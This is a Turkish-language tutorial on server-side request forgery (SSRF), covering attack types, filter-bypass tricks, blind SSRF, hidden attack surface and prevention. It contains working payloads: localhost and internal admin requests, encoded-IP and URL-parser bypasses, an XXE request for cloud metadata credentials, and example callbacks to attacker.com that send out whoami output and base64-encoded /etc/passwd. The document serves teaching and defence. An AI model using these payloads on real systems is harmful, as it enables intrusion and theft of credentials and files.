Server-Side Request Forgery (SSRF)

SSRF Nedir?

Server-side Request Forgery (SSRF), saldırganın sunucu tarafı uygulamasını istenmeyen bir lokasyona istekler göndermesine neden olabileceği bir web güvenlik açığıdır.

Tipik bir SSRF saldırısında, saldırgan sunucunun organizasyonun altyapısı içindeki sadece dahili erişilebilen servislere bağlantı kurmasına neden olabilir. Diğer durumlarda, sunucuyu rastgele harici sistemlere bağlanmaya zorlayabilir.

Saldırgan

Web Uygulaması

İç Servisler

Harici Sistemler

Hassas Veri

Yetkilendirme

SSRF'nin Temel Özellikleri:

• Sunucu tarafından başlatılan HTTP istekleri
• İç ağ kaynaklarına erişim
• Güven ilişkilerinin kötüye kullanımı
• Port scanning ve servis keşfi
• Veri sızıntısı ve RCE potansiyeli

Güven İlişkileri

SSRF saldırıları genellikle sunucu ile diğer sistemler arasındaki güven ilişkilerini istismar eder. Localhost'tan gelen istekler genellikle kimlik doğrulama bypass eder.

SSRF Saldırılarının Etkisi

Başarılı bir SSRF saldırısı genellikle organizasyon içindeki yetkisiz eylemlere veya veri erişimine neden olabilir. Bu, zayıflık bulunan uygulamada veya uygulamanın iletişim kurabileceği diğer backend sistemlerinde olabilir.

Kritik SSRF Etkileri:
• Yetkisiz veri erişimi ve sızıntısı
• İç ağ servislerinin keşfi ve erişimi
• Arbitrary command execution
• Harici sistemlere kötü niyetli saldırılar
• Organizasyonun güvenilirliğinin zarar görmesi

SSRF'nin sebep olabileceği zararlar: 1. İç ağdaki hassas servislere erişim 2. Cloud metadata servislerinden kimlik bilgileri çalma 3. Port scanning ve network reconnaissance 4. DoS saldırıları ve sistem kaynaklarının tükenmesi 5. Güvenlik duvarı ve ağ segmentasyonu bypass

Önemli Not: SSRF saldırıları saldırganın organizasyon hosting eden güvenilir sistemden geliyormuş gibi görünmesini sağlar, bu da başka sistemlerde güven ilişkilerini kötüye kullanmayı mümkün kılar.

Yaygın SSRF Saldırıları

SSRF saldırıları çoğunlukla güven ilişkilerini istismar ederek saldırıyı zayıf uygulamadan escalate eder ve yetkisiz eylemler gerçekleştirir. Bu güven ilişkileri sunucuyla veya aynı organizasyon içindeki diğer backend sistemlerle alakalı olabilir.

SSRF Saldırı Kategorileri:
• Server'a karşı SSRF: Loopback interface üzerinden kendi sunucuya
• Backend sistemlere karşı SSRF: İç ağdaki diğer sistemlere
• Cloud metadata SSRF: Cloud servislerin metadata endpoint'lerine
• Blind SSRF: Response görülmeyen SSRF saldırıları

Güven İlişkileri Neden Kritik?

İç ağdaki sistemler genellikle "güvenilir ağ" varsayımıyla çalışır ve authentication/authorization kontrollerini gevşek tutar. SSRF bu güveni kötüye kullanır.

Sunucuya Karşı SSRF Saldırıları

Sunucuya karşı SSRF saldırısında, saldırgan uygulamanın kendi sunucusuna loopback network interface üzerinden HTTP isteği göndermesine neden olur. Bu genellikle 127.0.0.1 veya localhost hostname'leri kullanılarak yapılır.

POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1

Bu, sunucunun belirtilen URL'ye istek göndermesine, stok durumunu almasına ve kullanıcıya döndürmesine neden olur.

Saldırgan request'i localhost'a yönlendirebilir: POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 27 stockApi=http://localhost/admin

Neden Bu Saldırı Çalışır?
• Access control farklı component'te implement edilmiş
• Disaster recovery için localhost'tan admin erişimi
• Admin interface farklı port'ta dinliyor
• Local machine'den gelen isteklere implicit trust

Localhost Bypass Nedenleri

Admin paneller genellikle localhost'tan gelen istekleri "güvenli" kabul eder ve kimlik doğrulama yapmadan erişim sağlar. Bu disaster recovery ve system recovery amaçlıdır.

HTTP/1.1 200 OK Content-Type: text/html <html> <head><title>Admin Panel</title></head> <body> <h1>Administrative Interface</h1> <a href="/admin/users">Manage Users</a> <a href="/admin/delete?user=carlos">Delete User</a> </body> </html>

Diğer Backend Sistemlere Karşı SSRF

Bazı durumlarda, uygulama sunucusu kullanıcılar tarafından doğrudan erişilemeyen backend sistemleriyle etkileşim kurabilir. Bu sistemler genellikle non-routable private IP adreslere sahiptir.

Internet

Backend Systems
192.168.x.x

Attacker

Web App

Backend Systems

Backend sistemler genellikle ağ topolojisi tarafından korunur ve bu nedenle daha zayıf güvenlik pozisyonuna sahiptir.

Admin interface'e erişim saldırısı: POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 33 stockApi=http://192.168.0.68/admin

Private IP Aralıkları:
• 10.0.0.0/8 (Class A private)
• 172.16.0.0/12 (Class B private)
• 192.168.0.0/16 (Class C private)
• 169.254.0.0/16 (Link-local)
• 127.0.0.0/8 (Loopback)

💡 Port Scanning:
SSRF aynı zamanda internal network'te port scanning yapmak için de kullanılabilir. Response time'lar ve error message'lar hangi port'ların açık olduğunu gösterebilir.

Yaygın SSRF Savunmalarını Bypass Etme

SSRF davranışı içeren uygulamalarda kötü niyetli istismarı önlemeyi amaçlayan savunmalar görmek yaygındır. Çoğu zaman, bu savunmalar çeşitli tekniklerle bypass edilebilir.

Yaygın Savunma Mekanizmaları:
• Blacklist tabanlı input filtreleri
• Whitelist tabanlı input filtreleri
• DNS resolution kısıtlamaları
• Network-level filtering
• Response size/time limitleri

Savunma Bypass Stratejileri

Encoding: URL encoding, double encoding, mixed case
Alternative IPs: Decimal, octal, hex representations
DNS Tricks: Subdomain takeover, wildcard DNS
Redirects: HTTP/HTTPS redirect chains

Blacklist Tabanlı Input Filter Bypass

Bazı uygulamalar 127.0.0.1 ve localhost gibi hostname'leri veya /admin gibi hassas URL'leri engelleyen input filtreler kullanır.

IP Representation Bypass Teknikleri:

2130706433 - Decimal representation
017700000001 - Octal representation
0x7f000001 - Hexadecimal representation
127.1 - Short form
127.0.0.1.nip.io - DNS service

URL Encoding ve Obfuscation:

%6c%6f%63%61%6c%68%6f%73%74 - URL encoded "localhost"
LOCALHOST - Case variation
127。0。0。1 - Unicode dots
ⓛⓞⓒⓐⓛⓗⓞⓢⓣ - Unicode characters

Custom domain redirect bypass: 1. Register domain: evil.com 2. Set DNS: evil.com A 127.0.0.1 3. Use: stockApi=http://evil.com/admin Spoofed Burp Collaborator: stockApi=http://spoofed.burpcollaborator.net/admin

# Redirect-based bypass: GET /redirect?url=http://192.168.1.1/admin HTTP/1.1 Host: trusted-domain.com HTTP/1.1 302 Found Location: http://192.168.1.1/admin

💡 Protokol Değişimi:
Redirect sırasında http'den https'e geçiş bazı anti-SSRF filtrelerini bypass edebilir. Farklı redirect kodları (301, 302, 307, 308) denemeyi unutmayın.

Whitelist Tabanlı Input Filter Bypass

Bazı uygulamalar sadece izin verilen değerlerin whitelist'iyle eşleşen input'ları kabul eder. Filter, input'un başında veya içinde eşleşme arayabilir.

URL Parsing İnkonsistency Bypass:

https://expected-host:fakepassword@evil-host
https://evil-host#expected-host
https://expected-host.evil-host
https://expected-host/../../admin

@ Character bypass örneği: Filter beklediği: "expected-host" Saldırgan URL: https://expected-host:pass@evil.com/admin Parser1 (Filter): "expected-host" ✓ Passed Parser2 (HTTP Client): evil.com'a istek gönderir

# Fragment bypass example: URL: https://evil.com#expected-host.com Filter: expected-host.com görür ✓ Browser: evil.com'a gider, fragment ignore edilir

DNS Hierarchy Bypass:

https://expected-host.attacker.com
https://expectedhost.attacker.com
https://sub.expected-host.evil.com

Double URL Encoding:
Bazı sunucular input'u recursive olarak decode eder:
%2525 → %25 → %
Bu da filter ve HTTP client arasında fark yaratabilir.

Web Message Response Mode

web_message response mode destekleniyorsa, redirect_uri'de daha geniş subdomain yelpazesine izin verilir. Bu SSRF bypass'ı kolaylaştırabilir.

Open Redirection ile SSRF Filter Bypass

Bazen filter tabanlı savunmalar bir open redirection açığı istismar edilerek bypass edilebilir. URL'lerin sıkı şekilde doğrulandığı durumlar için kullanışlı bir tekniktir.

1. Whitelist Check

2. HTTP Request

3. Redirect Response

4. Follow Redirect

5. Internal Target

# Open redirect vulnerability: GET /product/nextProduct?currentProductId=6&path=http://evil-user.net HTTP/1.1 Host: legitimate-domain.com HTTP/1.1 302 Found Location: http://evil-user.net

SSRF + Open Redirect kombinasyonu: POST /product/stock HTTP/1.1 Content-Type: application/x-www-form-urlencoded stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin Süreç: 1. Filter "weliketoshop.net" domain'ini kabul eder ✓ 2. Uygulama URL'ye istek gönderir 3. Open redirect tetiklenir 4. İç ağdaki hedefe redirect olur 5. Backend admin paneline erişim sağlanır

💡 Redirect Chain:
Birden fazla redirect kullanarak daha karmaşık bypass chains oluşturabilirsiniz. Her redirect aşamasında farklı parsing logic'i işleyebilir.

Dikkat: Open redirect için farklı HTTP status kodları (301, 302, 307, 308) deneyin. Bazı HTTP client'lar farklı redirect türlerini farklı şekilde işler.

Blind SSRF Güvenlik Açıkları

Blind SSRF güvenlik açıkları, uygulamayı sağlanan URL'ye backend HTTP isteği göndermeye zorlayabildiğiniz ancak backend request'in response'u uygulamanın frontend response'unda döndürülmediği durumda ortaya çıkar.

Blind SSRF Özellikleri:
• Response content görülmez
• Out-of-band detection gerekir
• DNS queries ile tespit edilebilir
• Time-based detection mümkün
• RCE potansiyeli daha yüksek

Blind SSRF Detection yöntemleri: 1. DNS Exfiltration: http://burpcollaborator.net/$(whoami) 2. HTTP Callbacks: http://attacker.com/callback?data=leaked 3. Time-based Detection: http://internal-server.com/slow-endpoint Response time farklarını ölç 4. Error-based Detection: http://non-existent-internal.com DNS errors analiz et

Time-Based Detection

Mevcut olmayan IP'lere yapılan istekler timeout ile sonuçlanır. Mevcut olanlar hızlı connection refused verir. Bu timing farkı port/host discovery için kullanılabilir.

Blind SSRF Exploit Teknikleri:
• Burp Collaborator Client
• DNS exfiltration techniques
• HTTP callback servers
• Time-based inference
• Error message analysis

SSRF İçin Gizli Attack Surface Keşfi

Birçok server-side request forgery güvenlik açığı kolay bulunur, çünkü uygulamanın normal trafiği tam URL'leri içeren request parametreler içerir. Diğer SSRF örneklerini bulmak daha zordur.

SSRF Attack Surface Alanları:
• Request parameters içinde kısmi URL'ler
• Data format'ları içinde URL'ler (XML, JSON)
• Referer header'da analytics tracking
• File upload işlemlerinde URL validation
• Webhook endpoints ve callbacks

Request'lerde Kısmi URL'ler

Bazen uygulama request parametrelerine sadece hostname veya URL path'inin bir kısmını yerleştirir. Submit edilen değer daha sonra server-side'da tam URL'ye incorporate edilir.

# Kısmi hostname parametresi: POST /api/proxy HTTP/1.1 Content-Type: application/x-www-form-urlencoded hostname=api.internal.com # Server-side'da şu şekilde kullanılır: # http://{hostname}/endpoint?data=sensitive

Kısmi URL exploitation: 1. Parameter: hostname=evil.com Result: http://evil.com/endpoint?data=sensitive 2. Parameter: path=../../../admin Result: http://internal.com/../../../admin 3. Parameter: subdomain=attacker Result: http://attacker.internal.com/api

Dikkat: URL'nin tamamını kontrol edemediğiniz için sınırlı exploitability söz konusu olabilir. Ancak yine de hassas endpoint'lere erişim mümkün olabilir.

Veri Formatları İçindeki URL'ler

Bazı uygulamalar spesifikasyonu URL inclusion'a izin veren data formatlarında veri iletir. Bu URL'ler data parser tarafından request edilebilir. En yaygın örnek XML data formatıdır.

# XML External Entity (XXE) ile SSRF: POST /process-xml HTTP/1.1 Content-Type: application/xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]> <root> <data>&xxe;</data> </root>

XXE + SSRF Combinasyonu:
XML parsing işlemi sırasında external entity'ler resolve edilir ve HTTP istekleri gönderilir. Bu AWS metadata, internal services erişimi için kullanılabilir.

Cloud Metadata SSRF via XXE: AWS: http://169.254.169.254/latest/meta-data/ Google: http://metadata.google.internal/computeMetadata/v1/ Azure: http://169.254.169.254/metadata/instance Bu endpoint'ler: - IAM credentials - Instance metadata - Security keys - Configuration data içerir

Cloud Metadata Services

Cloud providers metadata servisler internal IP'lerden erişilebilir ve son derece hassas bilgiler içerir. SSRF ile bunlara erişim kritik güvenlik ihlalidir.

Diğer Data Format SSRF:
• JSON schema validation ile external URL fetch
• SVG external resource loading
• PDF external resource inclusion
• Office document external data connections

Referer Header ile SSRF

Bazı uygulamalar visitors track etmek için server-side analytics software kullanır. Bu software genellikle incoming link'leri track etmek için Referer header'ı loglar. Analytics software, Referer header'da görünen third-party URL'leri ziyaret edebilir.

GET /page HTTP/1.1 Host: vulnerable-app.com Referer: http://attacker.com/ssrf-payload # Analytics software bu URL'yi ziyaret edebilir: # - Referring site content'ini analyze etmek için # - Anchor text'i ve link context'i görmek için # - SEO metrics toplamak için

Referer Header SSRF saldırısı: 1. Victim site'ı ziyaret et 2. Referer header'ı manipüle et: Referer: http://127.0.0.1/admin 3. Analytics software bu URL'ye istek gönderir 4. Internal admin interface'e erişim sağlanır 5. Response analytics dashboard'da görülebilir

Analytics SSRF Attack Surface

Web Analytics: Google Analytics, Adobe Analytics
Referral Trackers: Link shortening services
SEO Tools: Site crawling ve analysis tools
Social Media: Link preview generation

Blind SSRF Çoğunlukla: Referer header SSRF genellikle blind'dır çünkü analytics software'den response almak zordur. DNS queries ve callback URL'ler kullanın.

# DNS Exfiltration via Referer: GET /page HTTP/1.1 Host: vulnerable-app.com Referer: http://stolen-data.attacker.com/ # Callback URL ile data exfiltration: Referer: http://attacker.com/callback?data=$(cat /etc/passwd|base64)

Testing İpuçları:
• Different Referer values ile response time'ları test edin
• Burp Collaborator ile DNS queries monitor edin
• Social media link preview'leri test edin
• Email tracking pixels kontrol edin

SSRF Güvenlik Açıklarını Önleme

SSRF saldırılarını önlemek için uygulama ve network seviyesinde çeşitli savunma mekanizmaları implement edilmelidir.

Application Level Savunma:

• Whitelist-based URL validation
• Input sanitization ve validation
• Response size ve time limitleri
• User-controlled URL'leri disable etme
• Strict URL parsing libraries kullanımı

Network Level Savunma:
• Network segmentation ve firewall rules
• Private IP ranges blocking
• DNS filtering ve resolution control
• Egress filtering ve monitoring
• VPC/Network isolation

Best Practices:
• Asla user input'ı directly URL'lerde kullanmayın
• Allow-list yaklaşımı benimseyin
• Response content'i application'a expose etmeyin
• Monitoring ve logging implement edin

Detection Tools

Static Analysis: Semgrep, CodeQL, SonarQube
Dynamic Testing: Burp Suite, OWASP ZAP
Network Monitoring: Wireshark, tcpdump
Cloud Security: AWS GuardDuty, Azure Security Center

SSRF Güvenlik Açığı Özeti

Temel SSRF Kontrol Listesi

Detection: Request parameters, data formats, headers
Local Server: 127.0.0.1, localhost, 0.0.0.0
Private Networks: 10.x, 172.16-31.x, 192.168.x
Cloud Metadata: 169.254.169.254
Bypass: Encoding, IP formats, redirects, DNS tricks
Blind SSRF: DNS exfiltration, timing attacks

Input Fuzzing

Filter Bypass

Internal Access

Data Exfiltration

"Trust, but verify. In security, verify twice." - Security Principle